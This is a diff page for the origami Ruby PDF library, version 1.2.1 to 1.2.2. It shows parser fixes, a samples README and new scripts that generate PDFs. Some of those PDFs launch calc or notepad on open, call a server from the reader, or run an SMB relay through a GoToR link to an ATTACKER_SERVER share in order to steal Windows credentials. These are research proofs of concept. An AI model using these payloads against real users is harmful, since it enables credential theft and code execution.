origami 1.2.1 → 1.2.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (121) hide show
  1. data/README +1 -1
  2. data/bin/gui/hexview.rb +1 -1
  3. data/bin/gui/menu.rb +4 -4
  4. data/bin/gui/textview.rb +6 -4
  5. data/bin/gui/treeview.rb +4 -4
  6. data/bin/gui/walker.rb +1 -1
  7. data/bin/pdf2graph +1 -1
  8. data/bin/pdf2pdfa +1 -1
  9. data/bin/pdf2ruby +1 -1
  10. data/bin/pdfcocoon +1 -1
  11. data/bin/pdfcop +1 -1
  12. data/bin/pdfdecompress +1 -1
  13. data/bin/pdfdecrypt +1 -1
  14. data/bin/pdfencrypt +1 -1
  15. data/bin/pdfextract +75 -14
  16. data/bin/pdfmetadata +1 -1
  17. data/bin/shell/.irbrc +1 -1
  18. data/{origami.rb → lib/origami.rb} +3 -3
  19. data/{origami → lib/origami}/3d.rb +0 -0
  20. data/{origami → lib/origami}/acroform.rb +2 -2
  21. data/{origami → lib/origami}/actions.rb +0 -0
  22. data/{origami → lib/origami}/annotations.rb +0 -0
  23. data/{origami → lib/origami}/array.rb +0 -0
  24. data/{origami → lib/origami}/boolean.rb +0 -0
  25. data/{origami → lib/origami}/catalog.rb +0 -0
  26. data/{origami → lib/origami}/destinations.rb +0 -0
  27. data/{origami → lib/origami}/dictionary.rb +0 -0
  28. data/{origami → lib/origami}/docmdp.rb +0 -0
  29. data/{origami → lib/origami}/encryption.rb +9 -7
  30. data/{origami → lib/origami}/export.rb +0 -0
  31. data/lib/origami/extensions/fdf.rb +257 -0
  32. data/{origami/adobe → lib/origami/extensions}/ppklite.rb +3 -1
  33. data/{origami → lib/origami}/file.rb +0 -0
  34. data/{origami → lib/origami}/filters.rb +0 -0
  35. data/{origami → lib/origami}/filters/ascii.rb +0 -0
  36. data/{origami → lib/origami}/filters/ccitt.rb +0 -1
  37. data/{origami → lib/origami}/filters/crypt.rb +0 -0
  38. data/{origami → lib/origami}/filters/dct.rb +0 -0
  39. data/{origami → lib/origami}/filters/flate.rb +0 -0
  40. data/{origami → lib/origami}/filters/jbig2.rb +0 -0
  41. data/{origami → lib/origami}/filters/jpx.rb +0 -0
  42. data/{origami → lib/origami}/filters/lzw.rb +0 -0
  43. data/{origami → lib/origami}/filters/predictors.rb +0 -0
  44. data/{origami → lib/origami}/filters/runlength.rb +0 -0
  45. data/{origami → lib/origami}/font.rb +0 -0
  46. data/{origami → lib/origami}/functions.rb +0 -0
  47. data/{origami → lib/origami}/graphics.rb +0 -0
  48. data/{origami → lib/origami}/graphics/colors.rb +45 -23
  49. data/{origami → lib/origami}/graphics/instruction.rb +0 -0
  50. data/{origami → lib/origami}/graphics/path.rb +0 -0
  51. data/{origami → lib/origami}/graphics/patterns.rb +0 -0
  52. data/{origami → lib/origami}/graphics/render.rb +0 -0
  53. data/{origami → lib/origami}/graphics/state.rb +2 -2
  54. data/{origami → lib/origami}/graphics/text.rb +0 -0
  55. data/{origami → lib/origami}/graphics/xobject.rb +219 -0
  56. data/{origami → lib/origami}/header.rb +0 -0
  57. data/{origami → lib/origami}/javascript.rb +0 -0
  58. data/{origami → lib/origami}/linearization.rb +0 -0
  59. data/{origami → lib/origami}/metadata.rb +0 -0
  60. data/{origami → lib/origami}/name.rb +0 -0
  61. data/{origami → lib/origami}/null.rb +0 -0
  62. data/{origami → lib/origami}/numeric.rb +0 -0
  63. data/{origami → lib/origami}/obfuscation.rb +0 -0
  64. data/{origami → lib/origami}/object.rb +7 -2
  65. data/{origami → lib/origami}/outline.rb +0 -0
  66. data/{origami → lib/origami}/outputintents.rb +0 -0
  67. data/{origami → lib/origami}/page.rb +0 -0
  68. data/{origami → lib/origami}/parser.rb +76 -51
  69. data/{origami → lib/origami}/parsers/fdf.rb +9 -6
  70. data/{origami/parsers/pdf/linear.rb → lib/origami/parsers/pdf.rb} +31 -39
  71. data/lib/origami/parsers/pdf/linear.rb +84 -0
  72. data/lib/origami/parsers/ppklite.rb +93 -0
  73. data/{origami → lib/origami}/pdf.rb +6 -3
  74. data/{origami → lib/origami}/reference.rb +0 -0
  75. data/{origami → lib/origami}/signature.rb +170 -19
  76. data/{origami → lib/origami}/stream.rb +9 -0
  77. data/{origami → lib/origami}/string.rb +0 -0
  78. data/{origami → lib/origami}/trailer.rb +0 -0
  79. data/{origami → lib/origami}/webcapture.rb +0 -0
  80. data/{origami → lib/origami}/xfa.rb +0 -0
  81. data/{origami → lib/origami}/xreftable.rb +3 -7
  82. data/samples/README.txt +45 -0
  83. data/samples/actions/launch/calc.rb +87 -0
  84. data/samples/actions/launch/winparams.rb +22 -0
  85. data/samples/actions/loop/loopgoto.rb +24 -0
  86. data/samples/actions/loop/loopnamed.rb +21 -0
  87. data/samples/actions/named/named.rb +31 -0
  88. data/samples/actions/samba/smbrelay.rb +26 -0
  89. data/samples/actions/triggerevents/trigger.rb +75 -0
  90. data/samples/actions/webbug/submitform.js +26 -0
  91. data/samples/actions/webbug/webbug-browser.rb +68 -0
  92. data/samples/actions/webbug/webbug-js.rb +67 -0
  93. data/samples/actions/webbug/webbug-reader.rb +90 -0
  94. data/samples/attachments/attach.rb +40 -0
  95. data/samples/attachments/attached.txt +1 -0
  96. data/samples/crypto/crypto.rb +28 -0
  97. data/samples/digsig/signed.rb +46 -0
  98. data/samples/exploits/cve-2008-2992-utilprintf.rb +87 -0
  99. data/samples/exploits/cve-2009-0927-geticon.rb +65 -0
  100. data/samples/exploits/exploit_customdictopen.rb +55 -0
  101. data/samples/exploits/getannots.rb +69 -0
  102. data/samples/flash/flash.rb +31 -0
  103. data/samples/flash/helloworld.swf +0 -0
  104. data/samples/javascript/attached.txt +1 -0
  105. data/samples/javascript/js.rb +52 -0
  106. data/{tests → test}/ts_pdf.rb +1 -1
  107. metadata +109 -95
  108. data/origami/adobe/fdf.rb +0 -259
  109. data/origami/parsers/pdf.rb +0 -27
  110. data/origami/parsers/ppklite.rb +0 -86
  111. data/tests/dataset/test.dummycrt +0 -28
  112. data/tests/dataset/test.dummykey +0 -27
  113. data/tests/tc_actions.rb +0 -32
  114. data/tests/tc_annotations.rb +0 -85
  115. data/tests/tc_pages.rb +0 -37
  116. data/tests/tc_pdfattach.rb +0 -24
  117. data/tests/tc_pdfencrypt.rb +0 -110
  118. data/tests/tc_pdfnew.rb +0 -32
  119. data/tests/tc_pdfparse.rb +0 -98
  120. data/tests/tc_pdfsig.rb +0 -37
  121. data/tests/tc_streams.rb +0 -129
@@ -92,6 +92,15 @@ module Origami
92
92
 
93
93
  super
94
94
  end
95
+
96
+ def method_missing(field, *args) #:nodoc:
97
+ if field.to_s[-1,1] == '='
98
+ self[field.to_s[0..-2].to_sym] = args.first
99
+ else
100
+ obj = self[field];
101
+ obj.is_a?(Reference) ? obj.solve : obj
102
+ end
103
+ end
95
104
 
96
105
  def self.parse(stream) #:nodoc:
97
106
 
File without changes
File without changes
File without changes
File without changes
@@ -65,7 +65,7 @@ module Origami
65
65
  USED = "n"
66
66
  FIRSTFREE = 65535
67
67
 
68
- @@regexp = /(\d{10}) (\d{5}) (n|f)(\r| )\n/
68
+ @@regexp = /(\d{10}) (\d{5}) (n|f)(\r\n| \r| \n)/
69
69
 
70
70
  attr_accessor :offset, :generation, :state
71
71
 
@@ -76,9 +76,7 @@ module Origami
76
76
  # _state_:: The state of the referenced Object (FREE or USED).
77
77
  #
78
78
  def initialize(offset, generation, state)
79
-
80
79
  @offset, @generation, @state = offset, generation, state
81
-
82
80
  end
83
81
 
84
82
  def self.parse(stream) #:nodoc:
@@ -155,9 +153,9 @@ module Origami
155
153
  size = stream[2].to_i
156
154
 
157
155
  xrefs = []
158
- size.times {
156
+ size.times do
159
157
  xrefs << XRef.parse(stream)
160
- }
158
+ end
161
159
 
162
160
  XRef::Subsection.new(start, xrefs)
163
161
  end
@@ -315,8 +313,6 @@ module Origami
315
313
  include Enumerable
316
314
  include StandardObject
317
315
 
318
- attr_reader :xrefs
319
-
320
316
  #
321
317
  # Xref fields
322
318
  #
@@ -0,0 +1,45 @@
1
+ :: SUBDIRECTORIES
2
+ =================
3
+
4
+ ``attachments/``
5
+ * Adding a file attachment to a PDF document.
6
+
7
+ ``crypto/``
8
+ * PDF encryption (supports RC4 40-128 bits, and AES128).
9
+ - crypto.rb : Create a simple encrypted document.
10
+ - encrypt.rb : Encrypt an existing document.
11
+
12
+ ``digsig/``
13
+ * PDF digital signatures. Create a new document and signs it with test.key.
14
+
15
+ ``exploits/``
16
+ * Basic exploits PoC generation.
17
+
18
+ ``flash/``
19
+ * PDF with Flash object. Create a document with an embedded SWF file.
20
+
21
+ ``actions/launch/``
22
+ * Launch action. Create a document launching the calculator on Windows, Unix and MacOS.
23
+
24
+ ``actions/loop/``
25
+ * Create a looping document using GoTo and Named actions (see also moebius in the scripts directory).
26
+
27
+ ``actions/named/``
28
+ * Named action. Create a document prompting for printing.
29
+
30
+ ``actions/triggerevents/``
31
+ * Create a document launching JS scripts on various events.
32
+
33
+ ``actions/webbug/``
34
+ * Create a document connecting to a remote server.
35
+ - webbug-browser.rb : Connection using a URI action.
36
+ - webbug-reader.rb : Connection using a SubmitForm action.
37
+ - webbug-js.rb : Connection using JS script.
38
+
39
+ ``actions/samba/``
40
+ * Implementation of a SMB relay attack using PDF. When opened in a
41
+ browser on Windows, the document tries to access a document shared
42
+ on a malicious SMB server (on a LAN). The server will then be able
43
+ to steal user credentials. This script merely forges the malicious
44
+ PDF document.
45
+
@@ -0,0 +1,87 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
13
+
14
+ puts "Generating a pdf launching calc on several OS!!"
15
+
16
+ pdf = PDF.new
17
+
18
+ #�Reader7.0 �
19
+ #�A popup firstly says it cannot open the specified file. Then the
20
+ #�file is opened once the "Open" button is clicked...
21
+
22
+ # Reader8.0
23
+ #�It "opens" the file, but does not execute it. By default, it seems
24
+ # it is passed to the default browser.
25
+ # Only local files can be opened this way.
26
+ #�If the file does not exist, it displays the content of the current
27
+ # directory
28
+
29
+ cmd = FileSpec.new
30
+ cmd.Unix = "/usr/bin/xcalc"
31
+ cmd.Mac = "/Applications/Calculator.app"
32
+ cmd.DOS = "C:\\\\WINDOWS\\\\system32\\\\calc.exe"
33
+
34
+ action = Action::Launch.new
35
+ action.F = cmd
36
+
37
+ pdf.onDocumentOpen( action )
38
+
39
+ contents = ContentStream.new
40
+ contents.write OUTPUTFILE,
41
+ :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
42
+
43
+ contents.write "This page is empty but it should start calc :-D",
44
+ :x => 233, :y => 690, :rendering => Text::Rendering::FILL, :size => 15, :color => Graphics::Color::RGB.new(0, 150, 0)
45
+
46
+ contents.write "Dont be afraid of the pop-ups, just click them...",
47
+ :x => 233, :y => 670, :size => 15
48
+
49
+ contents.write "Comments:",
50
+ :x => 75, :y => 620, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
51
+
52
+ content = <<-EOS
53
+ Windows:
54
+ - Foxit 2: runs calc.exe at the document opening without any user confirmation message (!)
55
+ - Acrobat Reader *:
56
+ 1. popup proposing to open \"calc.exe\" (warning)
57
+ 2. starts \"calc.exe\"
58
+
59
+ Mac:
60
+ - Preview does not support PDF keyword /Launch
61
+ - Acrobat Reader 8.1.2: starts Calculator.app
62
+
63
+ Linux:
64
+ ! Assumes xcalc is in /usr/bin/xcalc
65
+ - poppler: does not support PDF keyword /Launch
66
+ - Acrobat Reader 7:
67
+ 1. popup telling it can not open \"xcalc\" (dumb reasons)
68
+ 2. popup proposing to open \"xcalc\" (warning)
69
+ 3. starts \"xcalc\"
70
+ - Acrobat Reader 8.1.2: based on xdg-open
71
+ - if you are running KDE, Gnome or xfce, xcalc is started after a popup
72
+ - otherwise, your brower is started and tries to download \"xcalc\"
73
+
74
+ Note:
75
+ For Linux and Mac, no argument can be given to the command...
76
+
77
+ EOS
78
+
79
+ contents.write content,
80
+ :x => 75, :y => 600, :rendering => Text::Rendering::FILL
81
+
82
+ page = Page.new.setContents( contents )
83
+ pdf.append_page( page )
84
+
85
+ pdf.save(OUTPUTFILE)
86
+ puts "PDF file saved as #{OUTPUTFILE}."
87
+
@@ -0,0 +1,22 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
13
+
14
+ params = Action::Launch::WindowsLaunchParams.new
15
+ params.F = "C:\\\\WINDOWS\\\\system32\\\\notepad.exe" # application or document to launch
16
+ params.D = "C:\\\\WINDOWS\\\\system32" # new current directory
17
+ params.P = "test.txt" # parameter to pass if F is an application
18
+
19
+ action = Action::Launch.new
20
+ action.Win = params
21
+
22
+ PDF.new.onDocumentOpen( action ).save(OUTPUTFILE)
@@ -0,0 +1,24 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
13
+
14
+ index = 1
15
+ pages = pdf.pages
16
+
17
+ pages.each do |page|
18
+ page.onOpen(Action::GoTo.new(Destination::GlobalFit.new pages[index % pages.size].reference))
19
+
20
+ index = index + 1
21
+ end
22
+
23
+ pdf.save("loopgoto_sample.pdf")
24
+
@@ -0,0 +1,21 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
13
+
14
+ pages = pdf.pages
15
+
16
+ pages.each do |page|
17
+ page.onOpen(Action::Named.new(Action::Named::NEXTPAGE)) unless page == pages.last
18
+ end
19
+ pages.last.onOpen(Action::Named.new(Action::Named::FIRSTPAGE))
20
+
21
+ pdf.save("loopnamed_sample.pdf")
@@ -0,0 +1,31 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
13
+
14
+ puts "Now generating a new PDF file from scratch!"
15
+
16
+ pdf = PDF.new
17
+
18
+ page = Page.new
19
+
20
+ contents = ContentStream.new
21
+ contents.write OUTPUTFILE,
22
+ :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
23
+
24
+ page.Contents = contents
25
+ pdf.append_page(page)
26
+
27
+ pdf.onDocumentOpen Action::Named.new(Action::Named::PRINT)
28
+
29
+ pdf.save(OUTPUTFILE)
30
+
31
+ puts "PDF file saved as #{OUTPUTFILE}."
@@ -0,0 +1,26 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ #
13
+ # SMB relay attack.
14
+ # Uses a GoToR action to open a shared network directory.
15
+ #
16
+
17
+ ATTACKER_SERVER = "localhost"
18
+
19
+ pdf = PDF.read(ARGV[0])
20
+
21
+ dst = ExternalFile.new("\\\\#{ATTACKER_SERVER}\\origami\\owned.pdf")
22
+ gotor = Action::GoToR.new(dst, Destination::GlobalFit.new(0), true)
23
+ pdf.pages.first.onOpen(gotor)
24
+
25
+ pdf.save("#{File.basename($0, '.rb')}.pdf")
26
+
@@ -0,0 +1,75 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
13
+
14
+ puts "Now generating a new PDF file from scratch!"
15
+
16
+ pdf = PDF.new
17
+
18
+ page = Page.new
19
+
20
+ contents = ContentStream.new
21
+ contents.write "Pass your mouse over the yellow square",
22
+ :x => 250, :y => 750, :size => 15
23
+
24
+ page.setContents( contents )
25
+
26
+ onpageopen = Action::JavaScript.new "app.alert('Page Opened');"
27
+ onpageclose = Action::JavaScript.new "app.alert('Page Closed');"
28
+ ondocumentopen = Action::JavaScript.new "app.alert('Document is opened');"
29
+ ondocumentclose = Action::JavaScript.new "app.alert('Document is closing');"
30
+ onmouseover =Action::JavaScript.new "app.alert('Mouse over');"
31
+ onmouseleft =Action::JavaScript.new "app.alert('Mouse left');"
32
+ onmousedown = Action::JavaScript.new "app.alert('Mouse down');"
33
+ onmouseup = Action::JavaScript.new "app.alert('Mouse up');"
34
+ onparentopen = Action::JavaScript.new "app.alert('Parent page has opened');"
35
+ onparentclose = Action::JavaScript.new "app.alert('Parent page has closed');"
36
+ onparentvisible = Action::JavaScript.new "app.alert('Parent page is visible');"
37
+ onparentinvisible = Action::JavaScript.new "app.alert('Parent page is no more visible');"
38
+ namedscript = Action::JavaScript.new "app.alert('Names directory script');"
39
+
40
+ pdf.onDocumentOpen(ondocumentopen)
41
+ pdf.onDocumentClose(ondocumentclose)
42
+ page.onOpen(onpageopen).onClose(onpageclose)
43
+
44
+ pdf.register(Names::Root::JAVASCRIPT, "test", namedscript)
45
+
46
+ rect_coord = Rectangle[:llx => 350, :lly => 700, :urx => 415, :ury => 640]
47
+
48
+ # Just draw a yellow rectangle.
49
+ rect = Annotation::Square.new
50
+ rect.Rect = rect_coord
51
+ rect.IC = [ 255, 255, 0 ]
52
+
53
+ # Creates a new annotation which will catch mouse actions.
54
+ annot = Annotation::Screen.new
55
+ annot.Rect = rect_coord
56
+
57
+ # Bind the scripts to numerous triggers.
58
+ annot.onMouseOver(onmouseover)
59
+ annot.onMouseOut(onmouseleft)
60
+ annot.onMouseDown(onmousedown)
61
+ annot.onMouseUp(onmouseup)
62
+ annot.onPageOpen(onparentopen)
63
+ annot.onPageClose(onparentclose)
64
+ annot.onPageVisible(onparentvisible)
65
+ annot.onPageInvisible(onparentinvisible)
66
+
67
+ page.add_annot(annot)
68
+ page.add_annot(rect)
69
+
70
+ pdf.append_page(page)
71
+
72
+ # Save the resulting file.
73
+ pdf.save(OUTPUTFILE)
74
+
75
+ puts "PDF file saved as #{OUTPUTFILE}."
@@ -0,0 +1,26 @@
1
+ try
2
+ {
3
+
4
+ app.alert("First, I try to launch your browser :)");
5
+ app.launchURL("http://localhost/webbug-browser.html");
6
+
7
+ }
8
+ catch(e)
9
+ {
10
+ }
11
+
12
+ try
13
+ {
14
+ app.alert("Now I try to connect to the website, through your Reader");
15
+
16
+ this.submitForm(
17
+ {
18
+ cURL: "http://localhost/webbug-reader.php",
19
+ bAnnotations: true,
20
+ bGet: true,
21
+ cSubmitAs: "XML"
22
+ });
23
+ }
24
+ catch(e)
25
+ {
26
+ }
@@ -0,0 +1,68 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "webbug-browser.pdf"
13
+
14
+ puts "Now generating a new bugged PDF file from scratch!"
15
+
16
+ URL = "http://localhost/webbug-browser.html"
17
+
18
+ pdf = PDF.new
19
+
20
+ contents = ContentStream.new
21
+ contents.write "webbug-browser.pdf",
22
+ :x => 270, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
23
+
24
+ contents.write "When opened, this PDF connects to \"home\"",
25
+ :x => 156, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
26
+
27
+ contents.write "Click \"Allow\":",
28
+ :x => 156, :y => 670, :size => 12
29
+
30
+ contents.write " 1. Starts your default browser",
31
+ :x => 156, :y => 650, :size => 12
32
+
33
+ contents.write " 1. Connects to #{URL}",
34
+ :x => 156, :y => 630, :size => 12
35
+
36
+ contents.write "Comments:",
37
+ :x => 75, :y => 580, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
38
+
39
+ content = <<-EOS
40
+ Windows:
41
+ - Foxit : opens the default browser without any user confirmation (!)
42
+ - Acrobat Reader 8: a pop-up spreads asking if it can connect, then Internet Explorer is connected.
43
+
44
+
45
+ Mac:
46
+ - Preview: nothing happens
47
+ - Acrobat Reader 8: a pop-up spreads asking if it can connect, then Safari is connected
48
+
49
+ Linux:
50
+ - poppler: nothing happens
51
+ - Acrobat Reader [7, 8]: a pop-up spreads asking if it can connect
52
+
53
+
54
+ EOS
55
+
56
+ contents.write content,
57
+ :x => 75, :y => 560, :rendering => Text::Rendering::FILL
58
+
59
+
60
+ page = Page.new.setContents( contents )
61
+ pdf.append_page(page)
62
+
63
+ # Starting action
64
+ pdf.onDocumentOpen Action::URI.new(URL)
65
+
66
+ pdf.save(OUTPUTFILE)
67
+
68
+ puts "PDF file saved as #{OUTPUTFILE}."